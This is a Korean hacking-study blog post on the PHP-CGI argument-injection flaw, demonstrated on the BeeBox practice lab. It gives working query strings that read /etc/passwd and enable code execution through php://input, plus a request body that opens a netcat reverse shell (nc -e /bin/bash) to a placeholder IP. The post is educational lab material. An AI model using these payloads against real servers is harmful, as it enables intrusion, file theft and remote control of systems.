상세 컨텐츠

본문 제목

PHP CGI

Hacking/Web Hacking

by it thief 2020. 3. 9. 17:00

본문

CGI

공통 게이트웨이 인터페이스(Common gateway interface)의 약어, 웹 서버와 외부 프로그램 사이에서 정보를 주고받는 방법이나 규약이다. PHP CGI는 PHP로 만들어진 프로그램이 CGI의 역할을 한다는 것이다. 

CGI는 웹 서버와 클라이언트가 자료나 데이터를 주고받는 프로그램이라고 생각하면 된다.

 

PHP CGI 취약점

-n php.ini 파일을 사용하지 않는다.
-s 소스코드를 하이라이트로 보여준다.
-d php.ini 정의된 설정 내용을 사용자가 설정 할 수 있다.

allow_url_fopen=1 : 외보의 URL로부터 파일을 호출한다.

allow_url_include=1 : 외부의 파일을 include를 허용한다.(외부 소스코드 실행)

auto_prepend_file=php://input :  Http Request Body로부터 데이터를 가져와서 실행한다.

auto_prepend_file=value : value를 먼저 실행 후 POST뒤의 원래 페이지를  실행한다.

auto_append_file=value : 요청된 페이지를 먼저 실행하고 php://input(BODY)를 실행한다.

BeeBox

-s 옵션으로 소스코드를 볼 수 있다.

auto_prepend_file로 /etc/passwd를 가져온다. ?-dauto_prepend_file%3d/etc/passwd+-n 

%3d는 =의 URL인코딩이다. -d옵션으로 임의로 설정 후 마지막에 -n을 주어서 php.ini파일을 사용하지 않는다. -d옵션으로 환경변수를 변경하여 코드를 실행할 수 있는 환경을 만드는 것이다.

URL : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input -- allow_url_include를 1로 설정해줘서 외부 파일을 include 할 수 있게 해 준다. php://input으로 BODY부분을 실행할 수 있도록 한다. 

BODY : <?php $hack=shell_exec('nc -e /bin/bash IP PORT'); echo "$hack"; die ; -- 리버스 쉘 공격

'Hacking > Web Hacking' 카테고리의 다른 글

Shell Shock  (0) 2020.03.09
webhacking.kr 9번  (0) 2020.03.08
CSRF(Cross-site Request Forgery)  (0) 2020.03.08
RFI/LFI  (0) 2020.03.08
webhacking.kr 8번  (0) 2020.03.05

관련글 더보기

댓글 영역